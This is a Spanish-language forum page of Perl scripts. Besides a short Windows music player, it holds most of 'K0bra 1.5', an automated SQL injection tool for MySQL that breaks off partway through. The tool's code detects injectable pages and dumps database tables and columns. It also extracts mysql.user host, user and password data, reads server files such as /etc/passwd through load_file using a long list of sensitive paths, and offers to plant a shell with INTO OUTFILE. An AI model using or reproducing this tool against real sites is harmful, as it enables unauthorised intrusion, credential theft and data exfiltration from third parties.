  588. mkdir("logs/","777");
  589. }
  590. }
  591.  
  592. # ¿ The End ?
  593.  
437  Programación / Scripting / [Perl] Musikeiro 0.1 en: 3 Diciembre 2011, 16:32 pm
Un reproductor de musica que hice hace dos años en el verano.

Código
  1. #!usr/bin/perl
  2. #Musikeiro 0.1
  3. #Simple music player
  4. #Written by Doddy H in the summer of 2009
  5. #ppm install http://www.bribes.org/perl/ppm/Win32-Console-ANSI.ppd
  6. #ppm install http://www.bribes.org/perl/ppm/Win32-MediaPlayer.ppd
  7.  
  8. use Win32::Console::ANSI;
  9. use Win32::MediaPlayer;
  10.  
  11. print "\n\e[;32m Bienvenido a Musikeiro\e[0m\n\n\n";
  12.  
  13. print "\e[33;45;1m Inserta la URL a reproducir: \e[0m";
  14. chomp(my $play = <stdin>);
  15. print "\n\e[42m Playing $play \e[0m\n";
  16. print "\n\e[31mPresiona Control + c para detener cancion\e[0m\n\n";
  17.  
  18. $nave = new Win32::MediaPlayer;
  19. $nave->load($play);    
  20. $nave->play;      
  21.  
  22. while(1) { }
  23.  
  24. # The End ?
  25.  
438  Programación / Scripting / [Perl] K0bra 1.5 en: 1 Diciembre 2011, 22:14 pm
La nueva version de mi scanner SQLi

Las funciones son las siguientes

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados
Código
  1. #!usr/bin/perl
  2. #k0bra 1.5
  3. #Console version
  4. #Automatic SQL Scanner for MYSQL
  5. #(c)0ded By Doddy H
  6.  
  7. system('cls');
  8. system ("title k0bra");
  9.  
  10. my @files =('C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog');
  11.  
  12. use LWP::UserAgent;
  13. use URI::Split qw(uri_split);
  14.  
  15. installer();
  16.  
  17. my $nave = LWP::UserAgent->new();
  18. $nave->timeout(5);
  19. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  20.  
  21. &head;
  22. unless(@ARGV == 2) {
  23. &menu;
  24. } else {
  25. &scan($ARGV[0],$ARVG[1]);
  26. }
  27. &finish;
  28.  
  29. sub menu {
  30. print "[Page] : ";
  31. chomp(my $page=<STDIN>);
  32. print "\n[Bypass : -- /* %20] : ";
  33. chomp(my $bypass = <STDIN>);
  34. print "\n\n";
  35. &scan($page,$bypass);
  36. }
  37.  
  38. sub scan {
  39. my $page = $_[0];
  40. print "[Status] : Scanning.....\n";
  41. ($pass1,$bypass2) = &bypass($_[1]);
  42. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  43. my $save = $auth;
  44.  
  45. if ($_[0]=~/hackman/ig) {
  46. savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
  47. &menu_options($_[0],$pass,$save);
  48. }
  49.  
  50. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  51. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  52.  
  53. unless ($testar1 eq $testar2) {
  54. motor($page,$_[1]);
  55. } else {
  56. print "\n[-] Not vulnerable\n\n";
  57. print "[+] Scan anyway y/n : ";
  58. chomp(my $op = <stdin>);
  59. if ($op eq "y") {
  60. motor($page,$_[1]);
  61. } else {
  62. head();
  63. menu();
  64. }
  65. }
  66.  
  67. }
  68.  
  69. sub motor {
  70.  
  71. my ($gen,$save,$control) = &length($_[0],$_[1]);
  72.  
  73. if ($control eq 1) {
  74. print "[Status] : Enjoy the menu\n\n";
  75. &menu_options($gen,$pass,$save);
  76. } else {
  77. print "[Status] : Length columns not found\n\n";
  78. <STDIN>;
  79. &head;
  80. &menu;
  81. }
  82. }
  83.  
  84. sub head {
  85. system 'cls';
  86.  
  87.  
  88. @      @@   @            
  89. @@     @  @ @@            
  90. @ @@  @  @  @ @   @ @ @@@
  91. @ @   @  @  @@ @ @@@ @  @
  92. @@    @  @  @  @  @   @@@
  93. @ @   @  @  @  @  @  @  @
  94. @@@ @   @@   @@@  @@@ @@@@@
  95.  
  96.  
  97.  
  98.  
  99. );
  100. }
  101.  
  102. sub length {
  103. print "\n[+] Looking for the number of columns\n\n";
  104. my $rows  = "0";
  105. my $asc;
  106. my $page = $_[0];
  107. ($pass1,$pass2) = &bypass($_[1]);
  108.  
  109. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  110. $total = "1";
  111. for my $rows(2..200) {
  112. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
  113. $total.= ",".$rows;
  114. $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  115. $test = toma($injection);
  116. if ($test=~/RATSXPDOWN/) {
  117. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  118. $control = 1;
  119. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  120. my $save = $auth;
  121. savefile($save.".txt","\n[Target confirmed] : $page");
  122. savefile($save.".txt","[Bypass] : $_[1]\n");
  123. savefile($save.".txt","[Limit] : The site has $rows columns");
  124. savefile($save.".txt","[Data] : The number @number print data");
  125. $total=~s/$number[0]/hackman/;
  126. savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  127. return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  128. }
  129. }
  130. }
  131.  
  132. sub details {
  133. my ($page,$bypass,$save) = @_;
  134. ($pass1,$pass2) = &bypass($bypass);
  135. savefile($save.".txt","\n");
  136. if ($page=~/(.*)hackman(.*)/ig) {
  137. print "[+] Searching information..\n\n";
  138. my  ($start,$end) = ($1,$2);
  139. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  140. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  141. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  142. $test1 = toma($inforschema);
  143. $test2 = toma($mysqluser);
  144. if ($test2=~/ERTOR854/ig) {
  145. savefile($save.".txt","[mysql.user] : ON");
  146. print "[mysql.user] : ON\n";
  147. } else {
  148. print "[mysql.user] : OFF\n";
  149. savefile($save.".txt","[mysql.user] : OFF");
  150. }
  151. if ($test1=~/ERTOR854/ig) {
  152. print "[information_schema.tables] : ON\n";
  153. savefile($save.".txt","[information_schema.tables] : ON");
  154. } else {
  155. print "[information_schema.tables] : OFF\n";
  156. savefile($save.".txt","[information_schema.tables] : OFF");
  157. }
  158. if ($test3=~/ERTOR854/ig) {
  159. print "[load_file] : ON\n";
  160. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  161. }
  162. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  163. $injection = $start.$concat.$end.$pass2;
  164. $code = toma($injection);
  165. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  166. print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
  167. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
  168. } else {
  169. print "\n[-] Not found any data\n";
  170. }
  171. }
  172. }
  173.  
  174. sub menu_options {
  175.  
  176. head();
  177.  
  178. print "[Target confirmed] : $_[0]\n";
  179. print "[Bypass] : $_[1]\n\n";
  180.  
  181. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  182. my $save = $auth;
  183. print "[save] : /logs/webs/$save\n\n";
  184. print "\n--== information_schema.tables ==--\n\n";
  185. print "[1] : Show tables\n";
  186. print "[2] : Show columns\n";
  187. print "[3] : Show DBS\n";
  188. print "[4] : Show tables with other DB\n";
  189. print "[5] : Show columns with other DB\n";
  190. print "\n\n--== mysql.user ==--\n\n";
  191. print "[6] : Show users\n";
  192. print "\n--== Others ==--\n\n";
  193. print "[7] : Fuzzing files with load_file\n";
  194. print "[8] : Read a file with load_file\n";
  195. print "[9] : Dump\n";
  196. print "[10] : Informacion of the server\n";
  197. print "[11] : Create a shell with into outfile\n";
  198. print "[12] : Show Log\n";
  199. print "[13] : Change Target\n";
  200. print "[14] : Exit\n";
  201. print "\n\n[Option] : ";
  202. chomp(my $opcion = <STDIN>);
  203. if ($opcion eq "1") {
  204. schematables($_[0],$_[1],$save);
  205. &reload;
  206. }
  207. elsif ($opcion eq "2") {
  208. print "\n\n[Table] : ";
  209. chomp(my $tabla = <STDIN>);
  210. schemacolumns($_[0],$_[1],$save,$tabla);
  211. &reload;
  212. }
  213. elsif ($opcion eq "3") {
  214. &schemadb($_[0],$_[1],$save);
  215. &reload;
  216. }
  217. elsif ($opcion eq "4") {
  218. print "\n\n[DAtabase] : ";
  219. chomp(my $data =<STDIN>);
  220. &schematablesdb($_[0],$_[1],$data,$save);
  221. &reload;
  222. }
  223. elsif ($opcion eq "5"){
  224. print "\n\n[DB] : ";
  225. chomp(my $db =<STDIN>);
  226. print "\n[Table] : ";
  227. chomp(my $table =<STDIN>);
  228. &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
  229. &reload;
  230. }
  231. elsif ($opcion eq "6") {
  232. &mysqluser($_[0],$_[1],$save);
  233. &reload;
  234. }
  235. elsif ($opcion eq "7") {
  236. &load($_[0],$_[1],$save);
  237. &reload;
  238. }
  239. elsif ($opcion eq "8") { ########################################
  240. &loadfile($_[0],$_[1],$save);
  241. &reload;
  242. }
  243. elsif ($opcion eq "9") {
  244. print "\n\n[Table to dump] : ";
  245. chomp(my $tabla = <STDIN>);
  246. print "\n[Column 1] : ";
  247. chomp(my $col1 = <STDIN>);
  248. print "\n[Column 2] : ";
  249. chomp(my $col2 = <STDIN>);
  250. print "\n\n";
  251. &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
  252. &reload;
  253. }
  254. elsif ($opcion eq "10") {
  255. print "\n\n";
  256. &details($_[0],$_[1],$save);
  257. &reload;
  258. }
  259. elsif ($opcion eq "11") {
  260. print "\n\n[Full Path Discloure] : ";
  261. chomp(my $path = <STDIN>);
  262. &into($_[0],$_[1],$path,$save);
  263. &reload;
  264. }
  265. elsif ($opcion eq "12") {
  266. $t = "logs/webs/$save.txt";
  267. system("start $t");
  268. &reload;
  269. }
  270. elsif ($opcion eq "13") {
  271. &head;
  272. &menu;
  273. }
  274.  
  275. elsif ($opcion eq "14") {
  276. &finish;
  277. }
  278. else {
  279. &reload;
  280. }
  281. }
  282.  
  283. sub schematables {
  284.  
  285. $real = "1";
  286. my ($page,$bypass,$save) = @_;
  287. savefile($save.".txt","\n");
  288. print "\n";
  289. my $page1 = $page;
  290. ($pass1,$pass2) = &bypass($_[1]);
  291. savefile($save.".txt","[DB] : default");
  292. print "\n[+] Searching tables with schema\n\n";
  293. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  294. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  295. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
  296. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  297. my $resto = $1;
  298. $total = $resto - 17;
  299. print "[+] Tables Length :  $total\n\n";
  300. savefile($save.".txt","[+] Searching tables with schema\n");
  301. savefile($save.".txt","[+] Tables Length :  $total\n");
  302. my $limit = $1;
  303. for my $limit(17..$limit) {
  304. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
  305. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  306. my $table = $1;
  307. chomp $table;
  308. print "[Table $real Found : $table ]\n";
  309. savefile($save.".txt","[Table $real Found : $table ]");
  310. $real++;
  311. }}
  312. } else {
  313. print "\n[-] information_schema = ERROR\n";
  314. }
  315. }
  316. sub reload {
  317. print "\n\n[+] Finish\n\n";
  318. <STDIN>;
  319. &head;
  320. &menu_options;
  321. }
  322.  
  323.  
  324. sub schemacolumns {
  325. my ($page,$bypass,$save,$table) = @_;
  326. my $page3 = $page;
  327. my $page4 = $page;
  328. savefile($save.".txt","\n");
  329. print "\n";
  330. ($pass1,$pass2) = &bypass($bypass);
  331. print "\n[DB] : default\n";
  332. savefile($save.".txt","[DB] : default");
  333. savefile($save.".txt","[Table] : $table\n");
  334. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  335. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
  336. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  337. print "\n[Columns Length : $1 ]\n\n";
  338. savefile($save.".txt","[Columns Length : $1 ]\n");
  339. my $si = $1;
  340. chomp $si;
  341. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  342. $real = "1";
  343. for my $limit2(0..$si) {
  344. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  345. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  346. print "[Column $real] : $1\n";
  347. savefile($save.".txt","[Column $real] : $1");
  348. $real++;
  349. }}
  350. } else {
  351. print "\n[-] information_schema = ERROR\n";
  352. }}
  353.  
  354. sub schemadb {
  355. my ($page,$bypass,$save) = @_;
  356. my $page1 = $page;
  357. savefile($save.".txt","\n");
  358. print "\n\n[+] Searching DBS\n\n";
  359. ($pass1,$pass2) = &bypass($bypass);
  360. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  361. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  362. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  363. my $limita = $1;
  364. print "[+] Databases Length : $limita\n\n";
  365. savefile($save.".txt","[+] Databases Length : $limita\n");
  366. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  367. $real = "1";
  368. for my $limit(0..$limita) {
  369. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  370. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  371. my $control = $1;
  372. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  373. print "[Database $real Found] $control\n";
  374. savefile($save.".txt","[Database $real Found] : $control");
  375. $real++;
  376. }
  377. }
  378. }
  379. } else {
  380. print "[-] information_schema = ERROR\n";
  381. }
  382. }
  383.  
  384. sub schematablesdb {
  385. my $page = $_[0];
  386. my $db = $_[2];
  387. my $page1 = $page;
  388. savefile($_[3].".txt","\n");
  389. print "\n\n[+] Searching tables with DB $db\n\n";
  390. ($pass1,$pass2) = &bypass($_[1]);
  391. savefile($_[3].".txt","[DB] : $db");
  392. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  393. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  394. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  395. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  396. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  397. print "[+] Tables Length :  $1\n\n";
  398. savefile($_[3].".txt","[+] Tables Length :  $1\n");
  399. my $limit = $1;
  400. $real = "1";
  401. for my $lim(0..$limit) {
  402. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  403. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  404. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  405. my $table = $1;
  406. chomp $table;
  407. savefile($_[3].".txt","[Table $real Found : $table ]");
  408. print "[Table $real Found : $table ]\n";
  409. $real++;
  410. }}
  411. } else {
  412. print "\n[-] information_schema = ERROR\n";
  413. }}
  414.  
  415. sub schemacolumnsdb {
  416. my ($page,$bypass,$db,$table,$save) = @_;
  417. my $page3 = $page;
  418. my $page4 = $page;
  419. print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  420. savefile($save.".txt","\n");
  421. ($pass1,$pass2) = &bypass($_[1]);
  422. savefile($save.".txt","\n[DB] : $db");
  423. savefile($save.".txt","[Table] : $table");
  424. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  425. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
  426. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  427. print "\n[Columns length : $1 ]\n\n";
  428. savefile($save.".txt","[Columns length : $1 ]\n");
  429. my $si = $1;
  430. chomp $si;
  431. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  432. $real = "1";
  433. for my $limit2(0..$si) {
  434. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  435. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  436. print "[Column $real] : $1\n";
  437. savefile($save.".txt","[Column $real] : $1");
  438. $real++;
  439. }
  440. }
  441. } else {
  442. print "\n[-] information_schema = ERROR\n";
  443. }
  444. }
  445.  
  446. sub mysqluser {
  447. my ($page,$bypass,$save) = @_;
  448. my $cop = $page;
  449. my $cop1 = $page;
  450. savefile($save.".txt","\n");
  451. print "\n\n[+] Finding mysql.users\n";
  452. ($pass1,$pass2) = &bypass($bypass);
  453. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  454. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  455. if ($code=~/RATSXPDOWN/ig){
  456. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  457. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  458. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  459. print "\n\n[+] Users Found : $1\n\n";
  460. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  461. for my $limit(0..$1) {
  462. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  463. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  464. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  465. print "[Host] : $1 [User] : $2 [Password] : $3\n";
  466. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  467. } else {
  468. &reload;
  469. }
  470. }
  471. }
  472. } else {
  473. print "\n[-] mysql.user = ERROR\n";
  474. }
  475. }
  476.  
  477. sub tabfuzz {
  478. my $page = $_[0];
  479. ($pass1,$pass2) = &bypass($_[1]);
  480. $count = "0";
  481. savefile($_[2].".txt","\n");
  482. print "\n";
  483. if ($_[0] =~/(.*)hackman(.*)/g) {
  484. my $start = $1; my $end = $2;
  485. print "\n\n[+] Searching tables.....\n\n";
  486. for my $table(@buscar2) {
  487. chomp $table;
  488. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  489. $injection = $start.$concat.$end.$pass1."from".$pass1.$table.$pass2;
  490. $code = toma($injection);
  491. if ($code =~/ERTOR854/g) {
  492. $count++;
  493. print "[Table Found] : $table\n";
  494. savefile($_[2].".txt","[Table Found] : $table");
  495. }}}
  496. if ($count eq "0") { print "[-] Not found any table\n";
  497. &reload;
  498. }
  499. }
  500.  
  501. sub colfuzz {
  502. my $page = $_[0];
  503. ($pass1,$pass2) = &bypass($_[1]);
  504. $count = "0";
  505. savefile($_[3].".txt","\n");
